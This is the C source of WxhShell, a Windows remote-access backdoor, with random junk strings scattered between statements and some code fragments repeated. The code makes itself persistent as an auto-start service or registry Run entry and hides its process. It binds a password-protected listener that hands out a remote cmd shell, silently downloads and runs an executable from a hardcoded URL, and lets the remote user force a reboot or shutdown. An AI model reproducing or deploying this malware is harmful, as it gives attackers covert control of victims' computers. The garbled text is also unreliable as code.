&OQ37(<_ _JNSl2 HANDLE hProcess; 1Bp?HyCR PROCESS_BASIC_INFORMATION pbi; td JA? `k2YH? HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f8 E,.$> if(NULL == hInst ) return 0; iY?J3nxD-: f@yInIzRJ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WVyk?SBw g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VUnO&zV{ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _^w&k{T o5LyBUJ if (!NtQueryInformationProcess) return 0; *lyy |3z (SGX|,5X7 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7IkNS if(!hProcess) return 0; !xcLJ5^W Oxsx\f_ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _}+Aw{7!r D=1:-aLP7
CloseHandle(hProcess); ~/^q>z!\4 `&ufdn\j hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uaghB,i'n if(hProcess==NULL) return 0; /M!b3bmA qQjd@J}^ HMODULE hMod; $0 ]xeD0X char procName[255]; 8uAA6h+ unsigned long cbNeeded; =Ot|d #_ =D;n#n 7 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Rtpk_ND! 9U&~H*Hf CloseHandle(hProcess); 42$ pvw< 8k +^jj if(strstr(procName,"services")) return 1; // 以服务启动 |ht:_l
8 {$qE>ic return 0; // 注册表启动 M/?eDW/ } &~=FXe0S _cvA1Q" // 主模块 tVQq,_9C int StartWxhshell(LPSTR lpCmdLine) jRiXN% { N_wj,yF* SOCKET wsl; 8=!uQQ BOOL val=TRUE; x994B@\j+ int port=0; .>#X *u struct sockaddr_in door;
$Mg[e*ct E<RPMd @a if(wscfg.ws_autoins) Install(); ^+p7\D/E( MHj
RPh port=atoi(lpCmdLine);
6a} :'`y}' if(port<=0) port=wscfg.ws_port; #ZkT![` Upw`|$1S WSADATA data; 0\zY?UUww if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )DB\du BTc
}Kfae if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Oh# z zo setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |xawguJ door.sin_family = AF_INET; )_n=it$ door.sin_addr.s_addr = inet_addr("127.0.0.1"); &cGa~#-u door.sin_port = htons(port); ?}RPnf +>3jMs~& if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [s4|+ closesocket(wsl); tn{YIp return 1; :a/l9 m( } ONVhB 3_bqDhVI5 if(listen(wsl,2) == INVALID_SOCKET) { hsB3zqotF closesocket(wsl); `%A vn< return 1; ]A%]W ^G } :W^\ }UX4 Wxhshell(wsl); CY~ S{w WSACleanup(); t"JE+G D*&#}c,* return 0; GJ5R <f9I s
Poh\n } J6J"> ?wP/l // 以NT服务方式启动 12VIP-ABK VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /q,vQ[R/ { hCBre5 DWORD status = 0; {oSdVRI DWORD specificError = 0xfffffff; a8$4 6(=B`Z}a serviceStatus.dwServiceType = SERVICE_WIN32; =MU(!` serviceStatus.dwCurrentState = SERVICE_START_PENDING; OxQ 5P;O serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %nRgHN> serviceStatus.dwWin32ExitCode = 0; FI,K 0sO/| serviceStatus.dwServiceSpecificExitCode = 0; gky+.EP. serviceStatus.dwCheckPoint = 0; Q5c3C&$6 serviceStatus.dwWaitHint = 0; 8WE@ X)e D V\7KKJE hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G2<$to~{ if (hServiceStatusHandle==0) return; :.9Y L{&>,ww status = GetLastError(); Lk)I;; if (status!=NO_ERROR) 0!-'4+" { +e^CL#Gs serviceStatus.dwCurrentState = SERVICE_STOPPED; E{0e5. { serviceStatus.dwCheckPoint = 0; in K]+H]{ serviceStatus.dwWaitHint = 0; + -uQ] ^n serviceStatus.dwWin32ExitCode = status; <6Y|vEo!N serviceStatus.dwServiceSpecificExitCode = specificError; _\=x
A6! SetServiceStatus(hServiceStatusHandle, &serviceStatus); B(WmJ6e return; ;>uB$8<_7 } B}S+/V`
Y5 3 [j,d]\| serviceStatus.dwCurrentState = SERVICE_RUNNING; o}DRp4;Ka serviceStatus.dwCheckPoint = 0; _dELVs7OL serviceStatus.dwWaitHint = 0; xax[#Vl4 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T+^Sa
J } ic5af"/(\ uh2 Fr // 处理NT服务事件,比如:启动、停止 ^&D5J\][ VOID WINAPI NTServiceHandler(DWORD fdwControl) JH| D { tnAj3wc switch(fdwControl) i=L 86Ks { {yv_Ni*6! case SERVICE_CONTROL_STOP: I{Ip serviceStatus.dwWin32ExitCode = 0; :tBe/(e4# serviceStatus.dwCurrentState = SERVICE_STOPPED; )RN3Oz@H serviceStatus.dwCheckPoint = 0; 0cSm^a serviceStatus.dwWaitHint = 0; vh.-9eD { L(bDk'zi SetServiceStatus(hServiceStatusHandle, &serviceStatus); v4Wq0>o } _CPj]m{ return; >fMzUTJ4 case SERVICE_CONTROL_PAUSE: d5NE:%K serviceStatus.dwCurrentState = SERVICE_PAUSED; sj4\lpZ3h break; L pq)TE# case SERVICE_CONTROL_CONTINUE: X{Fr serviceStatus.dwCurrentState = SERVICE_RUNNING; o{>4PZ}=g break; X1d{7H8A2 case SERVICE_CONTROL_INTERROGATE: 5kGQf break; je@&|9h }; (a0(ZOKH SetServiceStatus(hServiceStatusHandle, &serviceStatus); Mk~U/oq } e]nP7TIU T ay226 // 标准应用程序主函数 Auc&dpW int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'Kk/
J+6U { De>e`./56 r!1f>F*dt // 获取操作系统版本 "f8,9@ OsIsNt=GetOsVer(); &',#j]I GetModuleFileName(NULL,ExeFile,MAX_PATH); ^,YTQ.O >-\^ )z // 从命令行安装 sBYDo{01 if(strpbrk(lpCmdLine,"iI")) Install(); JN:L%If ^\g.iuE // 下载执行文件 yH=<KYk if(wscfg.ws_downexe) { 6/#+#T if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5Q
<vS"g WinExec(wscfg.ws_filenam,SW_HIDE); *=O]^|]2 } 9+MW13? =dH=3iCG if(!OsIsNt) { KB^8Z@(+ // 如果时win9x,隐藏进程并且设置为注册表启动 V,=5}qozQ HideProc(); XlD=<$Nk7 StartWxhshell(lpCmdLine); !yT=*Cj4 } p6NPWaBR
else t{yj`Vg if(StartFromService()) 0ETT@/)]z // 以服务方式启动 '.<iV!ZdZ StartServiceCtrlDispatcher(DispatchTable); x]yIe&*(' else * #E_KW1RV // 普通方式启动 [Rub StartWxhshell(lpCmdLine); 4i.&geXA. @54$IhhT~ return 0; n_4.`vs } Uj\t04 M*bsA/Z Y[vP]7- 2+I5VPf =========================================== [u;(4sa} +,,dsL .wp[uLE cLp_\\ 5=8v\q?)c G~DHNO6 " 50dN~(;p [T4{K& #include <stdio.h> JBA{i45x #include <string.h> xv Xci W #include <windows.h> 8\9W:D@"x #include <winsock2.h> ks sRwe%>; #include <winsvc.h> u $[&'D6 #include <urlmon.h> lAA-#YG bDIhI}P #pragma comment (lib, "Ws2_32.lib") yUf`L=C: #pragma comment (lib, "urlmon.lib") b$0;fEvIJn Q!3-P #define MAX_USER 100 // 最大客户端连接数 /s%-c!o^ #define BUF_SOCK 200 // sock buffer )X," NJG #define KEY_BUFF 255 // 输入 buffer "=K3sk V~#5^PF{ #define REBOOT 0 // 重启 I$S*elveG #define SHUTDOWN 1 // 关机 jl}!UG "=+i~N#Sc #define DEF_PORT 5000 // 监听端口 K|\0jd)N n^$Q^[:Z #define REG_LEN 16 // 注册表键长度 Dq%}({+ #define SVC_LEN 80 // NT服务名长度 @`+\vmfD ^7ID |uMr // 从dll定义API shL_{} typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x^c,cV+* typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c%O97J.5b typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); aCH;l~+U typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c$)>$&([ !( +M // wxhshell配置信息 ?7TmAll<.s struct WSCFG { cAGM|% int ws_port; // 监听端口 bf=\ED ^ char ws_passstr[REG_LEN]; // 口令 hrD2-S int ws_autoins; // 安装标记, 1=yes 0=no Xjxa
2D char ws_regname[REG_LEN]; // 注册表键名 !]}C!dXd char ws_svcname[REG_LEN]; // 服务名 f3n^Sw&Q(Q char ws_svcdisp[SVC_LEN]; // 服务显示名 t5_76'@cX char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z
ztp %2c char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y${`W94 int ws_downexe; // 下载执行标记, 1=yes 0=no -hfkF+=U' char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" suIYfjh char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o<p4r}*AVJ %-fS:~$ }; p
%.Adxx g$mMH // default Wxhshell configuration bC"h7$3 struct WSCFG wscfg={DEF_PORT, Ac{Tq iIv "xuhuanlingzhe", ^b~ZOg[p 1, )(yaX "Wxhshell", v!DK.PZbi "Wxhshell", OGLA1}k4 "WxhShell Service", G5OGyQp "Wrsky Windows CmdShell Service", (VmFYNt& "Please Input Your Password: ", **z^aH?B2 1, ~`Vo0Z*S "http://www.wrsky.com/wxhshell.exe", pzjNi=vhd "Wxhshell.exe" b@=H$" }; ]8OmYU%6V Ake l .& // 消息定义模块 etX(~"gG_ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \p}GW char *msg_ws_prompt="\n\r? for help\n\r#>"; hP{+`\&<f char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6Y6t.j0vN. char *msg_ws_ext="\n\rExit."; w;(=wN\ char *msg_ws_end="\n\rQuit."; S&y${f char *msg_ws_boot="\n\rReboot..."; /qwY/^ char *msg_ws_poff="\n\rShutdown..."; !mWm@}Ujg char *msg_ws_down="\n\rSave to "; _<2{8>EVf i9rv8"0> char *msg_ws_err="\n\rErr!"; Gg
GjBt char *msg_ws_ok="\n\rOK!"; -R1;(n) w(Tr,BFF char ExeFile[MAX_PATH]; uVhzJu. int nUser = 0; nO'C2)bBSG HANDLE handles[MAX_USER]; *' es(]W int OsIsNt; q9VBK(,X DzA'MX SERVICE_STATUS serviceStatus; u+z SERVICE_STATUS_HANDLE hServiceStatusHandle; W`oyDg,D .waj.9&[l // 函数声明 [~cz|C# int Install(void); K0o${%'@7 int Uninstall(void); wpC.!T int DownloadFile(char *sURL, SOCKET wsh); ki2`gLK int Boot(int flag); =zrfh-lwH void HideProc(void); @c"s6h& int GetOsVer(void); eHGx00: int Wxhshell(SOCKET wsl); :5&UWL| void TalkWithClient(void *cs); M&q~e@P int CmdShell(SOCKET sock); DnhbMxh8o int StartFromService(void); 90Sras>F int StartWxhshell(LPSTR lpCmdLine); bQ
0Ab"+D AY"wEyNU VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sUR5Q/Q VOID WINAPI NTServiceHandler( DWORD fdwControl ); FqGMHM\J i4WHjeo\ // 数据结构和表定义 <C;TGA SERVICE_TABLE_ENTRY DispatchTable[] = _
M B/p { kef%5B {wscfg.ws_svcname, NTServiceMain}, 0 |?N {NULL, NULL} 1^GRUbOU[ }; f-H"|9 b KIL@AI // 自我安装 %qE"A6j int Install(void) FL^t}vA { &;r'JIp char svExeFile[MAX_PATH]; ^
T`T?*h HKEY key; *qLk'< strcpy(svExeFile,ExeFile); mea}
9]c @x
A^F%( // 如果是win9x系统,修改注册表设为自启动 @ZJ}lED3 if(!OsIsNt) { |=~mRqG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lfd-!(tXD RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v$JW7CKA RegCloseKey(key); v+trHdSBYE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cUd>ahv RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8'qlg|{!~ RegCloseKey(key); j"pyK@v2B return 0; 5! +{JTXa } n)D } =;Co0Q` } XhWo~zh" else { BG.8 q4[
\Nf[8n#{ // 如果是NT以上系统,安装为系统服务 r58<A'# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3 m-g- if (schSCManager!=0) {%P2.: { 9AQ,@xP| SC_HANDLE schService = CreateService agruS'c g ( `(P71T schSCManager, x;} 25A| wscfg.ws_svcname, _(~E8g wscfg.ws_svcdisp, UmMu|` SERVICE_ALL_ACCESS, *V+,X SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xC0y2+)| SERVICE_AUTO_START, R- ,L"Vv SERVICE_ERROR_NORMAL, ,z`D}<3 svExeFile, 3,*A VcQA NULL, XN?my@_HpM NULL, :P%?!'M NULL, m MWhUr NULL, 7Lj:m.0O^ NULL n;vZY ); >o&%via} if (schService!=0) ?8< =.,r { z?kE((Ey CloseServiceHandle(schService); $nIE;idk CloseServiceHandle(schSCManager); )"{}L.gC6 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }vgM$o strcat(svExeFile,wscfg.ws_svcname); s[/d}S@ > if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :M`~9MCRf RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *}Z RegCloseKey(key); w~pe?j_F$ return 0; oOubqx } Z0'LD< } U#w0 E G CloseServiceHandle(schSCManager); ZZ :*c"b: } 0jxXUWO } 55] MRv u WdKG({][ return 1; cG@Wo8+ } kJNg>SN*@# ni )G // 自我卸载 +<V$G/" int Uninstall(void) #SI]^T| { E&Lml?@ HKEY key; HB*BL+S06 'Ce?!UO if(!OsIsNt) { #}~?8/h! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5
/oW/2" RegDeleteValue(key,wscfg.ws_regname); #u\~AO?h RegCloseKey(key); S+mBVk"-~S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q[H4l({E RegDeleteValue(key,wscfg.ws_regname); h. 4#C}> ) RegCloseKey(key); u$ o19n return 0; 'iwTvkf{ } LtKR15h, } FLkZZ\ } !mwMSkkq else { 4W E)2vkS G@T_o4t SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); oz|+{b}% if (schSCManager!=0) meThjCC { b{x/V 9&| SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V! TGFo} if (schService!=0) vJ 28A { V@gG
x if(DeleteService(schService)!=0) { d}Y#l}!E6 CloseServiceHandle(schService); YT)1_>*\ CloseServiceHandle(schSCManager); 'r -B%D= return 0; rF{,]U9` } Klu0m~X@ CloseServiceHandle(schService); H3iYE~^# } ]S@DVXH CloseServiceHandle(schSCManager); fmLDufx } heb{i5el } [IHG9Xg >*+n`"6 return 1; ~Xr[d07bC } OP_\V8= SF ^$p$mC // 从指定url下载文件 @.G;dL.f{ int DownloadFile(char *sURL, SOCKET wsh) [3tU0BU" { 3fYfj HRESULT hr; pk;S"cnk char seps[]= "/"; GQjU="+ char *token; m>!o
Yy_ char *file; K,P`V
&m? char myURL[MAX_PATH]; ~0Zy$L/D char myFILE[MAX_PATH]; N!\1O, EVLDP\w{ strcpy(myURL,sURL); *rV{(%\m token=strtok(myURL,seps); v!n|X7 while(token!=NULL) 6aWnj*dF { `Uvc^ file=token; ,Vz-w;oDn token=strtok(NULL,seps); "N}MhcdS } DwTVoCC 4JH^R^O<n
GetCurrentDirectory(MAX_PATH,myFILE); U:PtRSdn!b strcat(myFILE, "\\"); e%9zY{ABR% strcat(myFILE, file); G%}k_vi&q send(wsh,myFILE,strlen(myFILE),0); .+lx}#-# send(wsh,"...",3,0); tTt}=hQpgX hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c2Y\bKeN if(hr==S_OK) e%7#e%1s return 0; |a'$v4dCF else $HRl:KDdP~ return 1; (~"#=fs.L UZ:z|a3 } i0?/\@gd E 429<LQI/ // 系统电源模块 Q5 o0!w int Boot(int flag) YCdtf7P=q { j:^gmZ;J HANDLE hToken; \t=#MzjR TOKEN_PRIVILEGES tkp; ?+{_x^ G6\`Iy68/v if(OsIsNt) { S]&aDg1y} OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !rZZ/M"i LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /(%!txSNEt tkp.PrivilegeCount = 1; CRNt5T>qH tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; UzV78^:,iD AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); '@^mesMG if(flag==REBOOT) { \r3SvBwhFv if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) diKl}V#u return 0; <:StZ{o; } *
COC& else { (7??5gjh if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sv6m)pwh return 0; |#(y?! A^ } cCG!X%9 } 7eFFKl else { ^=gN >xP if(flag==REBOOT) { oC3W_vH.% if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Juk'eH2^s return 0; L /N%ft]!T } dTwYDV}: else { O6\c1ha if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A":cS }Ui return 0; v*OT[l7 } ))7CqN } rWN%j)#+ VwLo return 1; *c(YlfeZ# } q5)
K <Iil*\SC // win9x进程隐藏模块 r#J_;P{U void HideProc(void) a3Xd~Qs { {?}^HW9{ {]4Zpev HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Fc^!="H if ( hKernel != NULL ) ;):E 8;B) { 4S* X=1 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~L_1&q^4!i ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); aR)w~s\6 FreeLibrary(hKernel); ( De>k8 } 3/,}&SX #w!ewC vt return; *}>)E]O@ } =8Z-ORW51 \[AJWyP // 获取操作系统版本 }E&: int GetOsVer(void) X7*fmD=Uy { =9:gW5F69 OSVERSIONINFO winfo; Jpn= ^f[rm winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8RcLs1n/ GetVersionEx(&winfo); L=I;0Ip9y if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2~yj
=D27Z return 1; rG%8ugap else ZT<VDcP{ return 0; ]i>,oxBWe } (543`dqAmC c1
j@*6B // 客户端句柄模块 G4\|bwh int Wxhshell(SOCKET wsl) NLt"yD3t { 0W)|n9 SOCKET wsh; q7I(x_y / struct sockaddr_in client; R}D[ z7 DWORD myID; nPjK=o`KR @z`eqG,'] while(nUser<MAX_USER) EZZE(dq@gf { qCF&o7*oN int nSize=sizeof(client); 1So`]N4 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); " z -tL if(wsh==INVALID_SOCKET) return 1; sg4(@> nZEew.T:6 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m;ju@5X if(handles[nUser]==0) y-~_ W 6\ closesocket(wsh); Bc'Mj=>; else +DE;aGQ.z? nUser++; TQQh:y } _SMi`ie# WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I*n]8c Qve5qJ return 0; Rt@O@oD I } a>,Zp*V( jPn.w,=)27 // 关闭 socket N7_(,Gu*R void CloseIt(SOCKET wsh) )&%Y{a# { :G&:v closesocket(wsh); k+hl6$:Qj% nUser--; VeOM `jy ExitThread(0); &%u m#XE } C(M ?$s` U6YHq2< // 客户端请求句柄 Qm_;o( void TalkWithClient(void *cs) % pAbkb3m { 3r[s_Y* apnpy\in SOCKET wsh=(SOCKET)cs; f*VXg[&\\F char pwd[SVC_LEN]; F6"s&3D{ char cmd[KEY_BUFF]; Oc5f8uv char chr[1]; $lAdh int i,j; ;s8\F]K Tt,T6zs-< while (nUser < MAX_USER) { B;2#Sa. ??("0U if(wscfg.ws_passstr) { PzustC| if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Zqb*-1Qw"* //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \ rKUPI\ //ZeroMemory(pwd,KEY_BUFF); &kT!GU^n i=0; q#\B}'I{ while(i<SVC_LEN) { lwIxn1n b*4aUpW // 设置超时 3_]QtP3 fd_set FdRead; qx*N-,M%k( struct timeval TimeOut; AtxC(gm 1 FD_ZERO(&FdRead); ubc
k{\. FD_SET(wsh,&FdRead); 4M+f#b1 TimeOut.tv_sec=8; sejT] rJ TimeOut.tv_usec=0; 6P)D M int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?yu@eo if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <&bBE"U4 (0rcLNk{| if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -#R63f& pwd=chr[0]; lI@Z)~ if(chr[0]==0xd || chr[0]==0xa) { '$5d6?BC`3 pwd=0; }g:'K break; ?[%.4i;-h } @q{. i++; 'ITZz n* } :Y4Sdj F*-'8~T // 如果是非法用户,关闭 socket
GB,ub*| if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ID,os_ T= } 5JhpBx/>o= ]cMZ7V^ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =5uhIU0O send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~RZN+N nP|ah~
q while(1) { -lXQQ#V
- <vu~EY0. ZeroMemory(cmd,KEY_BUFF); `,4YPjk^ o@C|*TXN // 自动支持客户端 telnet标准 +U?73cYN
j=0; ZZc^~ while(j<KEY_BUFF) { D&]xKx if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;";>7k/} cmd[j]=chr[0]; j)Z0K$z= if(chr[0]==0xa || chr[0]==0xd) { \g v-2., cmd[j]=0; )Lk2tvr break; k?/! ` } dKL9}:oUa j++; z80*Ylx } /q/^B>] Oi{J}2U // 下载文件 K7/&~;ZwT if(strstr(cmd,"http://")) { P2U4,?_e send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?}EWfsA if(DownloadFile(cmd,wsh)) mxe\+j# send(wsh,msg_ws_err,strlen(msg_ws_err),0); !>&G+R+k else gV*4{d` send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ISTAJ8"
D } mM_gOd else { S'>KGdF RusiCo!r switch(cmd[0]) { Oo
^AE U8%IpI; // 帮助 ?Qts2kae# case '?': { cvx"XxE, send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A}3E)Qo=G break; Cq-99@&; } s"8z q;) // 安装 TaKCN case 'i': { =YtK@+| i if(Install()) v~p?YYOm< send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9N|JI3*41 else PC%_^BDW send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~u?rjkSFoh break; }Fu2%L> } 77 ?TRC // 卸载 1o)<23q`) case 'r': { 6S(`Bw8h if(Uninstall()) <FN+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %H}M[_f else F-$NoEL send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {4%ddJn[.) break; gUp9yV } A~LTi // 显示 wxhshell 所在路径 B\`${O( case 'p': { 0+A#k7c6p char svExeFile[MAX_PATH]; #EH\Q% strcpy(svExeFile,"\n\r"); )EN,Ry strcat(svExeFile,ExeFile); 6-nf+!#G send(wsh,svExeFile,strlen(svExeFile),0); UZgrSX { break; <F|S<\Y. } ikPr> // 重启 ZjnWbnW case 'b': { Q|g>ga-a send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X0KUnxw if(Boot(REBOOT)) mn\GLR. send(wsh,msg_ws_err,strlen(msg_ws_err),0); e"2x!(&n( else { GU xhn closesocket(wsh); dBW4%Zh ExitThread(0); s1T}hp } X d&oERJj break; t1aKq)? } }5?|iUH| // 关机 b+71`aD0 case 'd': { W#9LK
Jj send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TG.\C8;vFh if(Boot(SHUTDOWN)) WVL\|y728s send(wsh,msg_ws_err,strlen(msg_ws_err),0); 57$/Dn else { ;ZZmX]kz,M closesocket(wsh);
<XnxAA ExitThread(0); 1w>G8 } /j(<rz"j break; QO|jdlg } ^ =H 10A // 获取shell C7Hgzc|U case 's': { "l6Ob CmdShell(wsh); COSQ closesocket(wsh); Z0Qh7xWve ExitThread(0); "K*^%{ break; c* )PS`]t } &Fch{%S> // 退出 =Flr05}m case 'x': { m=]}Tn send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *@&V=l CloseIt(wsh); .O9Pn,: break; JWQ.Efe } A2B]E,JMp // 离开 +#g4Crb case 'q': { PMiG:bM send(wsh,msg_ws_end,strlen(msg_ws_end),0); sAPYQ closesocket(wsh); Ak2Vf0E b WSACleanup(); ?&.Eg^a" exit(1); hHsO?([99 break; {^K&9sz } SS-7y:6y> } iP?=5j=4 } p2m`pT Wt!NLlN8 // 提示信息 E%)3{#.z if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vLM-v } diF2:80o } ybgw#jv= m pM,&7} return;
NW?h~2 } Oxh.& 97VS
xhr // shell模块句柄 6x!
q int CmdShell(SOCKET sock) q.p.y0 { ,j\UZ STARTUPINFO si; t$*CyYb{@ ZeroMemory(&si,sizeof(si)); {s[,CUL0 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h/#s\>)T si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X(K5>L> PROCESS_INFORMATION ProcessInfo; )<%IY&\ char cmdline[]="cmd"; b_oUG_B3] CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "H)D~K~* return 0; Z`'&yG;U } rh(77x1|(G ZRoOdo94 // 自身启动模式 AW`+lE'? int StartFromService(void) 1;[ZkRbzL { @!Q\|
< typedef struct
xXZ{ { &?yVLft DWORD ExitStatus; irzWk3@: DWORD PebBaseAddress; o!|TCwt DWORD AffinityMask; ,"4 DWORD BasePriority; b/'RJQSAc ULONG UniqueProcessId; q,_ 1?A) ULONG InheritedFromUniqueProcessId; 7j\jOklV } PROCESS_BASIC_INFORMATION; N>+L?C :8Jn?E (36 PROCNTQSIP NtQueryInformationProcess; >*[Bq; 0D48L5kH#' static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -8, lXrH static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8E\6RjM P 4jg]g HANDLE hProcess; 4 O~zkg PROCESS_BASIC_INFORMATION pbi; wLH[rwPr n$(_(& HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O8WLulo if(NULL == hInst ) return 0; nHmi%R7k m=%WA5c? g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ptv=Bwg g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 28PT19& NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); AP_2.V=Sn k/}E(_e if (!NtQueryInformationProcess) return 0; l+i9)Fc<i ?hwT{h hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "]D2}E>U; if(!hProcess) return 0; 6/eh~ME= F;_L/8Ov1 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -!z,t7! :g=z}7!s CloseHandle(hProcess); Ym"Nj X'h
